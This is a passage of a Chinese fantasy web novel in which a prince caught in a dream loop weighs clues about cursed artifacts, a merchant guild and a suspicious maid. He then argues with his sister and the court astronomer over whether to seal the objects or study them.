那兽骨残片的镶嵌痕迹,与铁箱中钉魂偶胸口七煞锁心钉的鬼面浮雕,在风格上有某种诡异的相似性,都透着一种原始的狰狞。
短柄杵的螺旋凹槽,其弧度与深度,隐隐与星纹盘上某条刻线的走势暗合。
陶片上的符号,虽然残缺,但有几个变体,竟与萨迪克商会旗帜上的星辰图案,以及阿月说出的星辰之心在粟特语中的某个词根符号,有微弱的
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形似。
而那个锈蚀的铜盒……虽然小了很多,但整体的轮廓、合页的样式,与铁箱中那个无缝方匣,竟有五六分相似!
只是工艺粗糙了无数倍,像是……拙劣的仿制品,或者更原始的雏形?
“有意思。”周昕阳蹲下身,随手拿起那串兽骨石子项链,指尖拂过那些冰凉的石子。
其中一颗暗红色的石子,在他指尖触碰的瞬间,竟传来一丝极其微弱的、与星屑铁原石相似的温润感,但这感觉更微弱,更杂乱。
周昕阳放下项链,又拿起那个锈蚀的铜盒,入手沉重。他尝试着掰了掰盒盖,纹丝不动,似乎锈**,或者……根本就是实心的?
周昕阳指尖在铜盒表面那些模糊的纹路上摩挲,触感粗糙,但某些线条的走向……
就在这时,他眼角的余光瞥见,一直沉默站在门边的阿月,身体似乎几不可察地颤抖了一下,虽然立刻恢复,但她的目光,死死地盯住了他手中的铜盒,面纱下的呼吸,似乎都停滞了一瞬。
嗯?
这个东西有问题?
周昕阳心中冷笑,面上却露出饶有兴致的神色,对优素福道:“这些东西,看着倒有些年头,模样也古怪。尤其是这个盒子……优素福管事,开个价吧,这几样,孤都要了。”
优素福脸上露出为难之色:“王爷,这……这些东西并非小人之物,乃是替那于阗商队代为展示。那商队的主事是个倔老头,脾气古怪,言明不单卖,要买……就得把他这次带来的一整套相关的老物件都买下,而且……价格不菲。小人也是看他东西确实有些特别,才想着引荐给王爷瞧瞧,若王爷只是对其中一两件感兴趣,恐怕……”
“一整套?”周昕阳挑眉,“还有什么?都在此处?”
“还有几件,据说更大,也更……诡异,那老头不敢放在客栈,藏在城外的货栈里了。”优素福压低声音,“而且,那老头还有个奇怪的规矩,想买他东西的人,必须……亲自跟他去货栈看货,他说有些东西,不见到**,不放心交易,怕所托非人,糟蹋了古物。”
亲自去城外货栈?
规矩古怪?
周昕阳心中警铃微作。这邀约,可就不那么随意了。
他直起身,拍了拍手上并不存在的灰尘,目光扫过优素福看似诚恳的脸,又瞥了一眼依旧垂首、却似乎身体微微紧绷的阿月,最后与沈砚沉静的目光一触。
沈砚几不可察地微微摇了摇头,眼神中带着明确的警告。
城外,货栈,陌生商队,古怪规矩……怎么看都像是一个精心布置的陷阱。
但……陷阱里,往往藏着最想要的饵。
周昕阳沉吟片刻,忽然笑了笑,对优素福道:“有趣。孤对这位于阗来的老商人也有些兴趣了。不过,”他话锋一转,“今日时辰不早,孤也有些乏了。这样吧,优素福管事,你替孤传个话给那位老先生。就说,东西,孤有兴趣。但孤身份特殊,不便随意出城。若他诚心交易,不妨将东西带到城里来,地方嘛……就定在你们萨迪克商会的仓库好了。那里宽敞,也安全。明日午时,孤在那里等他。如何?”
优素福显然没料到周昕阳会如此提议,愣了一下,随即脸上笑容不变,连连点头:“王爷考虑得周全!城外货栈确实杂乱,不如商会仓库清净安全。小人一定将王爷的意思带到!那倔老头若是不愿……哼,那是他没福分!”
“嗯,那便有劳管事了。”周昕阳点点头,不再看地上那些老物件,仿佛兴趣已尽,转身向门外走去,“沈大人,我们回船上吧。阿月姑娘,也一同回去。”
“是。”沈砚沉声应道,侧身让开道路,目光锐利地扫过优素福和阿月。
阿月默默跟上,自始至终,没有对那铜盒,以及周昕阳的提议,发表任何看法。
一行人离开胡杨林客栈,穿过稀疏的胡杨林,走回码头主道。
清晨的阳光已然有些刺眼,码头上依旧喧嚣。
周昕阳走在前面,步伐不疾不徐,心中却如明镜。
饵,已经抛出。
线,也已收紧。
就看明日午时,萨迪克商会的仓库里,钓上来的会是什么了。
是更多的线索?
还是……狰狞的毒牙?
第128章 思索
回到墨蛟号,周昕阳以梦魇后需静养为由,谢绝了优素福进一步的殷勤,径直回到了自己的舱室。
沈砚在舱门外安排了双岗,并低声嘱咐了几句,显然对今日之事也充满了警惕。
舱门关上,隔绝了外界的嘈杂。
周昕阳并未立刻休息,而是走到舷窗边的书案前坐下。
窗外,泽口堰码头依旧繁忙,船只往来如梭,但他知道,这平静的水面下,暗流已然开始涌动。
他从怀中取出那块“星屑铁”原石,放在掌心,就着窗外的天光仔细观察。
矿石粗糙的表面,那些银蓝色的星点似乎比刚才在摊位上时更加清晰了一些,仿佛在吸收光线。
指尖传来的冰凉感中,那丝奇异的温润韵律并未完全消失,只是变得极其微弱,若有若无。
“星屑铁……于阗沙漠……古城废墟……”周昕阳低声自语。
京城十日记忆中,似乎并没有关于这种矿物的明确记载,但墨玉钢、阴沉玉等词汇却反复出现。
铁箱中的金属板、无缝方匣,钉魂偶的材质,乃至星**的部分组件,都与这些禁忌材料有关。
这块星屑铁,或许就是其中某种更原始、或更常见的伴生矿?
周昕阳将矿石小心收起,又从腰间解下那个皮质腰包,取出星**,再次检查了一遍燧石、引**和**。
冰冷的金属在手中泛着幽光,红蓝白三色宝石折射出令人心悸的色彩。
这把枪不仅仅是武器,更是一个信号——来自三皇子,也来自那段被修正的、充满合作与试探的过去。
最后,周昕阳拿出了那枚银壳怀表。弹开表盖,幽蓝的夜光表盘在日光下显得有些黯淡。
指针静静地指向【20:45】,秒针还在一秒一秒的走着……
但它表壳内侧那个微小的、与璇玑枢符号相似的浮雕纹路,却似乎更加清晰了一些,而且……在记忆洪流冲击的瞬间,他确实感觉到了它的微热。
这怀表,绝不仅仅是计时工具或梦境锚点。它与他,与这循环,与璇玑的秘密,必定有更深层的联系。
将所有物品收好,周昕阳铺开一张白纸,提起笔,却并未立刻书写。
他闭目凝神,将今日所见、所闻、所感,连同脑海中复苏的京城十日记忆碎片,一点点梳理、关联。
胡杨林客栈的老物件,风格诡异,部分与铁箱邪物、萨迪克商会符号有潜在关联。
尤其是那个铜盒,与无缝方匣形似,且引起了阿月的强烈反应。这绝非偶然。
优素福的出现和引荐,时机恰到好处。是萨迪克商会有意为之?还是那于阗商队主动找上了优素福这个地头蛇?
阿月……她今日的表现更加耐人寻味。
她对铜盒的反应,她对星屑铁的短暂关注,以及她始终如一的沉默与恭顺之下,那偶尔流露出的、仿佛知晓内情的异样。
她到底是什么人?
萨迪克商会培养的密探?
还是……属于另一个与璇玑相关的势力,潜伏在商会之中?
明日午时,萨迪克商会仓库之约。
这既是自己将计就计的反试探,也可能落入对方更深的圈套。必须做好万全准备。
周昕阳睁开眼,眼中锐光一闪,开始在纸上快速书写:
其一,已知线索关联:
铁箱邪物(钉魂偶、星纹盘、无缝方匣等)——>指向上古遗迹(地脉之眼/璇玑遗迹)、幕后黑手(神秘老道士及其势力)。
萨迪克商会(青铜圆盘、优素福、阿月、商会路线)——>与铁箱邪物材质、符号、及西南遗迹路线有潜在联系。
商会内部可能存在问题,或被人渗透利用。
于阗商队/老物件(胡杨林客栈所见)——>风格与铁箱邪物部分吻合,铜盒疑似无缝方匣雏形/仿品。背后或与萨迪克商会、幕后黑手有关联。
新获物品:星屑铁(疑似材质关联)、星**(三皇子信物/武器)。
京城十日记忆:父皇布局(幽影小组、监控二皇子)、三皇子合作——>印证遗迹诡异,提供更多调查方向。
怀表:与梦境循环、璇玑符号相关。
二、待验证/调查事项(优先级):
明日仓库之约:重点观察于阗老商人及其全套货物,尤其是更大、更诡异之物。
验证其与铁箱、商会关联。警惕陷阱。
阿月身份:需创造机会,进行更直接、更深入的试
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探或……胁迫?
萨迪克商会泽口堰分部:除优素福、阿月外,是否还有其他可疑人员或活动?
可通过沈砚调动宸察院暗线调查。
星屑铁来源:追查售卖矿石的粟特老商人,询问具体出土地点。
东南沉阴玉线索:若行程允许,或可传讯三皇子,了解进一步调查结果。
三、行动计划(明日及后续):
会前准备:与沈砚密议,确定明日仓库的安保布置、应急方案。要求沈砚调动可用暗线,对仓库周边、可能的于阗商队人员进行秘密监控。
会中策略:以稽查特使身份主导,观察、试探为主,购买为辅。重点确认货物真实性、关联性,试探对方真实意图。警惕任何异常举动。
会后应对:根据会面结果,决定下一步。若线索有价值且风险可控,可继续深入接触;若陷阱迹象明显,则立即撤离,并通过沈砚密折上报,由朝廷层面介入。
对阿月:在返回船舱或合适时机,进行一次私下、尖锐的质问,利用铜盒反应、星屑铁等细节施压,逼其显露更多真实面目。
写完,周昕阳将纸张再次仔细阅读一遍,确认无误后,将其凑近烛火点燃,看着它化为灰烬,落入桌上的铜盆中。
他不能留下任何文字痕迹。
做完这一切,他才感到一阵深切的疲惫袭来,不仅仅是身体,更是精神上的高度紧绷。他起身走到床边,和衣躺下,但并未立刻入睡,而是将星**的腰包压在枕下,手轻轻搭在上面,怀表放在触手可及的床头小几上。
窗外,天色渐渐向晚,码头的喧嚣并未停歇,反而因夜幕降临、华灯初上而透出另一种繁华与迷离。
周昕阳闭上眼,但并未完全放松警惕。他的耳朵捕捉着舱外的每一点动静,脑海中则继续推演着明日可能出现的各种情况,以及相应的对策。
阿月、优素福、于阗老商人、萨迪克商会、幕后黑手……这些面孔和名字在他脑海中交错浮现。
还有父皇深沉的目光,三皇子恳切的神情,沈砚冷峻的侧脸……
想着想着,周昕阳突然涌起了一丝困意。
来了!
又到了每天日常的梦境时间……
第129章 思考与重返东宫
熟悉的黑暗温柔地包裹上来,带着一丝比往日更加深沉、却也更加……平静的坠落感。
没有之前循环开始时那种被强行拖拽的滞涩与心悸,这一次,更像是顺水推舟,沉入一片已知的、却焕然一新的水域。
“呼——”
周昕阳猛地睁开了眼睛。
映入眼帘的,不再是墨蛟号那随着江水微微起伏的木质舱顶,而是泽川王府他寝殿内,那熟悉的、绣着流云蟠龙纹样的锦缎帐顶。
空气中弥漫着王府特有的、混合了名贵木料、清淡熏香以及一丝北地秋夜寒意的气息。
窗外,天色已然大亮,明亮而高远的秋阳透过雕花窗棂,在光洁的金砖地面上投下清晰的光斑。
他回来了。
但这一次,不是在船上,不是在受监视的别院,而是在京城,在他自己的王府、自己的寝殿。
周昕阳缓缓坐起身,没有立刻下床,而是第一时间,近乎本能地,从枕边摸出了那枚从不离身的银壳怀表。
指尖微凉,弹开表盖。
幽蓝的夜光在阳光下并不明显,但表盘上那清晰的刻度——
【9:16】
梦境循环,不出意外的被打破了。
不,更准确地说,是推进了循环。
梦境的起点,随着他在上一次梦境的行为中取得关键性的突破,被永久性地更新、覆盖了。
上一次,他打开了第四把锁,看到了铁箱内的邪物,并初步说服了父皇,打通了关键节点。
这一步,打破了梦境循环。
“所以说,上一轮,梦境节点的关键,在于打开铁箱的第四把锁……”
周昕阳若有所思。
“因为我打开了第四把锁,解开了铁箱中的秘密,所以现实中,从沈砚押送回京的囚徒,变成了手持密旨、拥有一定自由的稽查特使。”
“而大权也从老二篡位成功,重新回到了父皇的手中。”
“某种程度上,我已经完成了自救。”
“但问题是……”
“铁箱之中的东西……”
周昕阳坐在泽川王府寝殿的窗边,指尖无意识地在冰凉的窗棂上轻轻叩击,发出单调而规律的轻响。
脑海中,铁箱中那五样邪异物件的细节,以及那张兽皮地图、泛黄纸张上的只言片语,如同鬼魅般反复浮现,纠缠不休。
钉魂偶、星纹盘、奇异金属板、无缝方匣、血髓玉瓶……还有那指向西南绝域、上古遗迹的地图,和那充满狂热与禁忌意味的仪式记述。
“璇玑遗迹……地脉之眼……逆夺造化……祂……”
这几个关键词,如同烧红的烙铁,烫在他的思绪深处。
父皇说自会处理,但周昕阳清楚,面对这种超越常规认知、牵扯上古秘辛与禁忌力量的威胁,朝廷的力量未必能完全触及核心,甚至会因体制的庞大和明暗规则的制约而束手束脚。
否则,那幕后黑手也不可能潜藏如此之深,甚至在东宫布下这等骇人听闻的局。
而他如今身处梦境之中,这个梦境,已然成为他窥探秘密、验证猜想、甚至预演行动的独特领域。
现实因梦境而变,梦境亦能成为他撬动现实的杠杆。
“现实里,我是稽查特使,有父皇密旨,有沈砚护卫,但也因此束手束脚,必须遵循明面的规则,顾虑各方视线,更要提防暗处的冷箭。”周昕阳目光幽深,望着窗外庭院中飘落的银杏叶,“但在这里,在梦里……我可以更大胆,更直接。有些在现实中不敢做、不能做的试探和调查,或许可以在这里先行一步。”
他想到那张兽皮地图。地图所指的西南绝域,地形诡异,绝非寻常舆图所载。
现实中,他即便想去探查,也需层层上报,安排行程,调动人手,动静太大,极易打草惊蛇。
但在梦境里……他是否可以尝试定位那个地方?哪怕只是大致方位?
“还有那些邪物本身……”
“钉魂偶的诅咒原理是什么?”
“星纹盘如何推演天地气场交汇点?”
“无缝方匣里究竟藏着什么?”
“血髓玉瓶和厌胜钱、冥罗花组合,到底能进行何种邪恶仪式?”
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这些,在现实中,周昕阳或许只能依靠二姐和钦天监的有限知识去推测,且接触实物风险极高。
但在梦境里,周昕阳能进行大胆的尝试,亲口尝一尝冥罗花,看下会有什么反应?
这个想法极其大胆,甚至有些疯狂。
但梦境中,只要不打破循环,他就是无敌的。
不死的!
一切都能重置!
一切都能重来!
“这就是我的底气。”
“既然现实中的危机,已经解除,那就要尽可能的动用资源。”
“想办法知晓更多的秘密……”
周昕阳首先想到的,就是萨迪克商会、于阗商队,以及神秘的侍女阿月。
“如果能在梦境中,见到他们,提前了解他们的动向,会不会能有新的发现?”
“只可惜,梦境的时间,只有十二小时。”
“派人去找他们,等人抵达京城,梦境早就重置了。”
“只能说,这条线,可以先操作,等下次打破循环的时候,就能用得上。”
“我也能在现实中,提前认识阿月和萨迪克商会、于阗商队。”
“目前可以肯定的是,阿月和萨迪克商会,肯定知晓一些秘密。”
“对这些玄奥之事,他们肯定有所了解。”
“至于是否与老道士、神秘势力有所联系,那就不清楚了。”
“这算是一个方向。”
周昕阳若有所思地低语,指尖的叩击声停了下来。
他站起身,在寝殿内缓缓踱步。秋日的阳光透过窗棂,将他的身影拉长,在光洁的金砖地面上晃动。
既然梦境的时间有限,必须高效利用。
“还是要去东宫。”
“再摸一摸那些异物。”
“同时想办法在梦境中联系上萨迪克商会,哪怕用帮忙破解隐秘的理由,也要将他们带来京城。”
“只要提前跟阿月等人搭上线,后续就可以在梦境中不断获取情报,也不至于如此被动……”
周昕阳想到这里,站起身来,大步走出房间,朝着东宫而去。
第130章 重回东宫
“来人!”
周昕阳对候在外面的内侍沉声道,“立刻备车,去东宫!要快!”
“是,王爷。”
内侍连忙行礼,不敢多问,匆匆跑去安排。
周昕阳则迅速返回内室,换上一身便于行动的深色窄袖常服,将那枚银壳怀表、装有星**的腰包都带上,大步走出了房门。
片刻之后,王府侧门,一辆不起眼的青篷马车已然备好。
周昕阳只带了一个车夫,悄然登车,朝着皇城方向疾驰而去。
车厢内,周昕阳闭目养神,脑海中反复回忆着铁箱中那几样物件的每一个细节,尤其是那张兽皮地图的诡异轮廓,他要利用这次梦境机会,对那几样邪物进行最直接、最大胆的接触和实验。
马车顺利通过几道外侧宫门,来到拱门处。
凭借周昕阳泽川王的身份,加上如朕亲临的令牌,他此刻能畅通无阻。
“行了,你就在这里等孤吧。”
周昕阳走下马车,交代马夫后,踏入拱门,走进皇宫内部。
大概一炷香后,周昕阳再次来到了东宫。
殿外廊下,除了原本的宫廷侍卫,还多了数名身着深蓝劲装、胸前绣有钦天监徽记的护卫,目光锐利,气息沉凝。
空气中,弥漫着一股淡淡的、混合了檀香、药草以及某种难以言喻的矿物灼烧后的奇异气味。
周昕阳心头微动,突然想起自己多出来的十天记忆,父皇下令,由二姐周灵薇会同钦天监,共同处置这些烫手山芋。
“没想到这么快就开始了。”
“我本以为没那么快……”
周昕阳大步走进来,直接亮出了令牌。
值守的侍卫与钦天监护卫验看后,恭敬放行,但目光中皆带着审视与警惕——显然,他突然到来,并不在常规安排之内。
周昕阳无视这些目光,径直走向那间熟悉的偏殿。
殿门紧闭,但门缝中隐约透出明亮的火光,以及低低的、压抑的讨论声。
他轻轻叩了叩门。
殿内的声音戛然而止。
片刻,殿门被拉开一条缝,露出一张苍老、警惕的脸,看到是周昕阳,明显一愣:“泽川王殿下?您怎么……”
“开门,孤要见二公主。”周昕阳语气平淡,却带着不容置疑的威势。
老人犹豫了一下,回头看向殿内。很快,一个清冷中带着讶异的女声传来:“让他进来。”
殿门打开,周昕阳迈步而入。
殿内的景象,与他上次离开时已大不相同。
原本空旷阴森的偏殿,此刻被临时改造成了一处兼具工坊与法坛功能的密闭空间。
四周墙壁上临时悬挂起了厚重的深色帷幕,隔绝了大部分外界光线与窥探。
地面上,以掺杂了金粉的朱砂,绘制了一个直径约两丈的圆形复杂阵图,阵图内层是先天八卦,中层是二十八星宿,最外层则是一些周昕阳从未见过的、扭曲如藤蔓又似星轨的奇异符文。阵图的每一个关键节点,都摆放着一盏造型古朴的青铜油灯,灯焰稳定,散发着清冽的松香气味。
阵图
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正中心,便是那口敞开的漆黑铁箱。箱盖斜靠在一边,箱内那些邪异的物件——钉魂偶、星纹盘、金属板、无缝方匣、血髓玉瓶,以及摊开的兽皮地图和泛黄纸页——并未随意堆放,而是被分别放置在特制的、刻有符文的玉盘或阴沉木托之上,呈环形排列。每个物件周围,还撒了一圈淡银色的粉末,在灯光下泛着微光,似是某种隔绝材料。
铁箱旁,二姐周灵薇与钦天监监正玄微**相对而立,两人皆神色凝重。
周灵薇依旧是一身便于行动的简洁衣裙,外罩一件钦天监的制式外袍,秀眉紧蹙,正指着案上一张临时绘制的图纸说着什么。玄微**则身着深蓝色监正法袍,手持拂尘,雪白的长眉下,一双眼睛精光内蕴,此时也满是肃然。
除了他们,殿内还有四名身着道童服饰的少年,正安静而迅速地按照指示,调整着阵图边缘的铜炉——炉中燃烧的并非寻常炭火,而是某种特制的银霜炭,混合着几样周昕阳叫不出名字的药材与矿物,散发出先前他在殿外闻到的那种混合了檀香、药草与矿物灼烧的奇异气味。
整个空间虽然灯火通明,却弥漫着一股难以言喻的压抑与肃杀。
周昕阳的进入,打断了殿内的讨论。
周灵薇和玄微**同时转头看向他,眼中皆闪过一丝讶异,但随即被更深的凝重取代。
“老九?你怎么来了?”周灵薇快步迎上,语气带着责问,但更多的是担忧,“此处凶险,父皇不是让你回府休息等候吗?”
第131章 争吵
“我睡不着,所以过来看看。”周昕阳看向钦天监监正,“这位是?”
周灵薇解释道:“这位是钦天监监正玄微**。”
“原来是监正大人。”周昕阳点了点头。
“见过王爷。”玄微**恭敬行礼。
“嗯。”
“可有什么收获?”周昕阳开口问道。
玄微**看向一旁的周灵薇,眼神中带着一丝询问。
“嗯,此事是老九发现,告诉他也无妨。”周灵薇轻声道。
“是。”玄微**开始解释,“王爷,此事有些复杂……”
“老道与二公主已初步查验过这些邪物。其凶险诡谲,远超预料。钉魂偶内含恶咒,星纹盘可窥天机地脉,金属板与无缝方匣材质工艺非人间应有,血髓玉瓶更是至邪引子,地图与仪式记述所指,更是涉及禁忌。此等物事,留于世间,便是祸端。”
他顿了顿,目光扫过那些物件,最终落在周昕阳脸上,语气斩钉截铁:“依老道之见,亦依我钦天监与皇室历代处理此类‘不祥’、‘禁忌’之物的传统,应当立即以最高规格的封印秘法,将此箱连同样物,彻底封存于皇陵龙脉核心之处,借我大虞国运龙气与地脉之力,永世**,隔绝其与外界一切联系,以防不测,更防被奸人利用,遗祸苍生!”
“龙脉封存?”周昕阳心中一动。这确实是朝廷处理无法理解、又极度危险之物的常规,也是最稳妥的做法。
一埋了之,眼不见为净。
但这么做,岂不是主动将解密的机会,埋入地下。
这些秘密,这辈子都解不了吗?
二姐是不会同意的。
果不其然,周灵薇立刻出声反对,她指着案上那些图纸和记录,语气急切:“监正,龙脉封存固然稳妥,但此举无异于因噎废食!”
“这些物件,是线索,是揭开那幕后黑手、那‘璇玑遗迹’、乃至那个‘祂’之面目的关键钥匙!”
“若就此封存,线索便断了!那老道士依旧逍遥法外,其背后势力依旧隐藏于暗处,他们所图谋的逆夺造化之局,我们依旧一无所知!”
“下一次,他们再选中一个类似太子之人,或者用其他方式渗透,我们难道还要被动挨打,直到酿成无法挽回的大祸吗?”
听着此话,周昕阳忍不住颔首,这种缩头乌龟的做法,他也不同意。
不过他很快就明白自己为什么只在京城待了十天,就返回了封地。
原因无他。
昭明帝选择了玄微**的做法。
将这些东西,尽数封印入龙脉,最终导致周昕阳返回自己封地。
可现实中,父皇又派沈砚前来,授予自己稽查特使的权柄,让自己从墨家遗迹、西域商贾中收集情报,这是否意味着……
父皇对神秘势力还是心有忌惮,不想就这么稀里糊涂的过去。
见两人沉默,周灵薇转头看向周昕阳,目光灼灼:“老九,你也看到了,这些东西非同小可。”
“那个老道士能制作钉魂偶,能使用星纹盘,能绘制这张诡异地图,记载这等禁忌仪式……他和他背后的势力,掌握的知识与力量,已经超出了寻常江湖术士甚至前朝遗族的范畴!”
“不把他们挖出来,不弄清他们的目的,我大虞江山永无宁日!”
“我认为,这些东西,至少大部分关键物件,应当暂时留存,由钦天监与工部、宸察院抽调精通之人组成专案,详加研究,顺藤摸瓜!”
“尤其是这张地图和仪式记述,必须找到能解读之人,确定其指向!还有那无缝方匣,或许里面就藏着更核心的秘密!”
“二公主!”玄微**声音提高了几分,带着不容置疑的威严,“你可知你在说什么?研究?顺藤摸瓜?”
“此等邪物,沾之不祥!研究过程中,稍有不慎,便可能引发反噬,酿成大祸!”
“更可能泄露天机,引来那幕后黑手的警觉,甚至做出危险之举!”
“龙脉封存,借国运龙气与地脉天然屏障隔绝内外,才是万全之策!”
“至于追查幕后黑手,自有宸察院幽影小队与朝廷其他力量暗中进行,何必非要留着这些烫手山芋?”
“万全?监正所谓的万全,不过是把头埋进沙子里!”周灵薇毫不退让,她指着星纹盘和地图,“这东西能推演天地灵机交汇点,这张地图指向未知绝域!”
“那幕后势力寻找‘璇玑遗迹’、‘地脉之眼’定然有所图谋!”
“或许涉及山河地气,甚至国运气数!若不弄清,万一他们的图
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谋得逞,动摇的是我大虞根基!”
“届时,龙脉封存再稳妥,又有何用?至于风险……做什么事没有风险?”
“因惧怕风险而放弃追查真相,才是最大的不负责任!”
两人各执一词,争论不下。
玄微**代表的是传统的、保守的、以隔绝、**为核心,强调稳妥和控制风险。
这是一种求稳的思想。
而周灵薇则代表了更进取的思维,主张主动出击,利用线索深挖根源,哪怕要承担一定的风险,也要将那些隐藏起来的老鼠,尽数揪出来,唯有这样才能保证江山永固。
周昕阳站在两人中间,沉默地听着。
他理解玄微**的顾虑,这些物件确实危险,一个处理不好,可能真的会引发灾难。
但他更倾向于二姐的看法——封存固然简单,却等于主动放弃了最直接的线索和了解敌人的机会。
在见识了钉魂偶的恶毒、星纹盘的玄妙、以及那个神秘的祂,所带来的莫名压迫感后,周昕阳深知,面对这种层次的对手,逃避和掩盖是没用的,必须主动去了解,去破解。
况且,这个梦境,跟随着他这么多年,根据神御阁中的记录,悼恭太子周怀曦也曾患梦魇之症,而且从对方料事如神、天赋异禀来看,这位悼恭太子应该会跟自己一样,曾被困于梦境,然后通过打破梦境,一次次扭转未来,达成几乎完美的成就。
只可惜,最后却在二十二岁陷入疯癫,自称天子,最终被禁军统领所杀。
这件事,让周昕阳心头一颤。
他的未来会不会也与这位悼恭太子一样,在一次次打破梦境循环的过程中,逐步成为疯子,然后死于非命?
梦境中的这些东西,究竟是什么?
究竟藏着什么秘密?
那些禁忌之物究竟是怎么影响他的?
周昕阳一定要调查清楚才行,不然这些东西,迟早会找上他,因为他已经在无形之中,打破了神秘势力的计划。
“二姐,监正,”周昕阳缓缓开口,声音不大,却让争论的两人停了下来,看向他,
“二位所言,皆有道理。”
“此等邪物,确需慎重。”
“然,幕后黑手潜伏之深,所图之大,亦不可不察。”
第132章 交谈
周昕阳走到阵图边缘。
目光扫过那些在符文与银粉压制下,依旧散发不祥气息的物件。
最后,视线落在那张兽皮地图和泛黄纸页上。
声音沉稳而清晰:
“龙脉封存,借国运龙气与地脉之力**,确是稳妥之法,可保一时无虞。”
“然,此法如同筑堤堵水,水患暂平,其源未绝。”
“今日封存于此,固然隔绝内外,但幕后之人所图,难道仅限于此箱中之物?”
“他们既能制作钉魂偶,绘制此等星纹地脉图,知晓‘璇玑遗迹’‘地脉之眼’这等上古秘辛,其底蕴之深,谋划之远,恐非我等所能尽窥。”
周昕阳顿了顿,转身面向玄微**,言辞恳切:“监正,我非是不知其中凶险。”
“然,前朝旧事,殷鉴不远。”
“若因惧怕风险,便将线索尽数掩埋,将秘密永封地下,固然是太平了,可这太平,是真是假?”
“敌暗我明,其图谋或关乎山河地气,或系于国运命数。”
“今日我们不知其目的,不知其手段,不知其巢穴,他日其若再动,我大虞将以何抵挡?”
“难道只能寄望于龙脉封存,便能高枕无忧?”
周昕阳指向那些邪物,指尖重点落在那张地图上:“这些东西,是祸端,但也是钥匙,是镜子。”
“我们能从中看到敌人的手段、知识,甚至其可能的意图。”
“若就此放弃,无异于自废耳目,自缚手脚。”
“二姐所言有理,不将这群毒蛇挖出来,不弄清他们所求何物,江山何谈永固?”
“我在东宫打开此箱,也算是与这幕后之人结了因果。”
“若不能查明真相,日后恐怕夜夜难安。”
玄微**静静听着,雪白的长眉下,那双深邃的眼眸中泛起一丝几不可察的涟漪。
对于周昕阳那一番慷慨激昂、以江山社稷为重的陈词,他虽知其有理,但数十年谨守隔绝禁忌、**不祥的信条,早已深入骨髓,并非轻易可动摇。
真正触动他的,是周昕阳最后那句看似平淡,却暗藏惊雷的话——
“……我在东宫打开此箱,也算是与这幕后之人结了因果。”
因果已结,祸福自招。
这八个字,如同冰冷的钉子,敲进了玄微**的心坎。
他身为钦天监监正,执掌观测天象、沟通天地、**不祥之职,比任何人都更相信因果与气机牵引的存在。
周昕阳,这位年轻的王爷,在打开那口诡异铁箱,窥见其中禁忌之物的那一刻起,他个人的命运,乃至他身上那份说不清道不明的特殊,就已经与那隐藏在暗处的、制造了这些物件的恐怖势力,产生了无法割断的、冥冥中的联系。
封存邪物,或许能隔绝它们对外界的影响,但能隔绝这种已经形成的因果牵引吗?
换句话说,那些势力会放过打乱他们计划的周昕阳吗?
恐怕不会。
沉默在殿内持续了片刻,空气中只有那些邪物散发出的、令人不适的阴冷气息在无声流动。
玄微**缓缓抬起手,抚过自己雪白的长须,目光再次落在周昕阳身上,这一次,他的眼神少了些审视,多了些复杂的、近乎**的凝重。
“王爷所言……不虚。”玄微**终于再次开口,声音比之前更加低沉缓慢,带着一种勘破世情的苍凉,“王爷打乱了他们的计划,肯定会引来祸端。”
他顿了顿,看向面露讶然的周灵薇,又看回周昕阳,缓缓道:“老道执掌钦天监数十载,见过太多因触碰禁忌、沾染不祥而引发的诡谲之事。有些界限,一旦跨过,便再难回头。王爷开启此箱,见到此物……冥冥之中,气机已乱,命线已缠。那幕后之人,或已有所感。”
“监正所言,未免太过玄学了吧……虽然不祥之色,古往今来也有发生,但什么冥冥之中,自有感应的的话,我还是不信的。”周灵薇脸色微变,沉声说道。
对此,周昕阳的态度却是:“二姐,监正大人的话,有些道理。”
“这些东西,或许真的没那么简单。”
“九弟你?”周灵薇微微微蹙,露出疑惑之色。
周灵薇又
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怎么知道周昕阳经历的这些事情……
梦境循环。
梦境影响现实。
一个本来未曾出现过的铁箱,最终因为梦境被打破,从而出现在现实世界。
这一桩桩,一件件的事情。
让周昕阳不得不信这些风水玄学之事。
关键他是亲身经历者啊!
如果不是玄学,怎么解释?
玄微**接过话头,“王爷如今,已非局外之人。封存邪物,或可保外界一时安稳,却未必能保王爷自身无虞。那幕后势力若真有所图,王爷你恐怕早已入了他们的眼,甚至……已在他们的算计之中。”
“老道听闻王爷曾患有梦魇之症?”
周昕阳微微颔首:“确有此事。”
“梦魇之症,好久没出现过了,老道记得昔年的悼恭太子也患有此症……”玄微**微微颔首,若有所思的喃喃自语。
“嗯?”
周昕阳心头一惊,他没想到这个时候,居然会提到悼恭太子?
难道这个钦天监的监正大人知道什么隐情?
“悼恭太子之旧事,监正大人,还是少提。”
“前朝往事,不提也罢。”周灵薇语气淡漠,打断了玄微**的话。
周昕阳看向自己的二姐,他不明白对方为什么要阻止呢?
周灵薇给了周昕阳一个稍安勿躁的眼神。
“也是。”玄微**点了点头,不再多说,“不过,王爷要警惕梦魇之症,最好提前确认一样事物,当做锚点,区分要现实与梦境。”
“监正,何出此言?”
“是认为我也会陷入疯癫?”
“如那位悼恭太子一样?”周昕阳沉声问道。
“梦境与现实太过相似,容易让人难以区分,如果有一天分不出现实与虚幻,做出什么疯狂之举,那可就悔之晚矣了。”玄微**提醒道。
“行,这件事,孤会放在心上的。”周昕阳总觉得对方话里有话,似乎知道些什么。
“监正,言归正传,这些东西,我与二姐打算深入调查,暂时不同意封存进龙脉,对此,你打算怎么办?”
第133章 约法三章
“监正,言归正传,这些东西,我与二姐打算深入调查,暂时不同意封存进龙脉,对此,你打算怎么办?”周昕阳沉声问道,目光直视玄微**,语气平静却带着不容退让的坚定。
玄微**沉默了片刻。
他再次环视殿内那散发着不祥气息的物件,目光在钉魂偶胸口的七煞锁心钉、星纹盘流转的幽光、血髓玉瓶中暗红的粘稠液体,以及那张诡异的地图上逐一掠过,最后又回到眼前这位年轻却意志坚决的王爷脸上。
“王爷,二公主,”玄微**的声音恢复了惯有的沉静,但深处依旧藏着凝重,“你们心意已决,老道亦知阻拦无用,更兼王爷已然身涉因果,被动自保确非上策。然,老道职责所在,必须将风险降至最低。”
“这件事,老道会禀告陛下,由他来圣裁。”
他顿了顿,缓缓道出条件:“两位若是执意调查,老道有三条建议,还望遵守。”
“监正请讲。”周昕阳道。
“第一,地点限定,绝对隔绝。调查绝不可在东宫,甚至不可在皇宫大内。需择京城之外,远离人烟、地气相对稳固纯净之地……老道建议,可选在京郊·玄机观后山禁地。那里本是我钦天监一处备用秘所,地气清正,适合处理异物。”
“这件事,需即刻禀明陛下,由陛下圣裁并派绝对可靠之心腹禁军与幽影共同驻守外围。”
